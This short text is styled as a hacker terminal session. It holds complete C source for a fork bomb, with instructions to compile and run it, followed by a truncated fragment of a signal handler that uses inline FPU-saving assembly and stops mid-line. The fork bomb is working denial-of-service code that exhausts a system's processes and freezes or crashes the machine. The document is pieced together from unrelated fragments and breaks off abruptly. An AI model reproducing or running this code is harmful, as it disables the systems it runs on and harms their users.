DARKSTAR@DARKSTAR:> WHOAMI
DARKSTAR
SUDO DARKSTAR
That's something I cannot allow to happen. (Wrong Password)
/*
######################################
# FORK BOMB #
######################################
*/
#include <stdio.h>
#include <unistd.h>
int main()
{
while (1) {
fork();
}
return(0);
}
//Compile w : gcc fork_bomb.c -o fork
//Execute: ./fork
DARKSTAR@DARKSTAR:>WHOAMI
ADMIN
#include <sys/time.h>
#include <signal.h>
#include <unistd.h>
static void Handler(int ignore)
{
char fpubuf[108];
__asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
write(2, "*", 1);
__asm__ __vo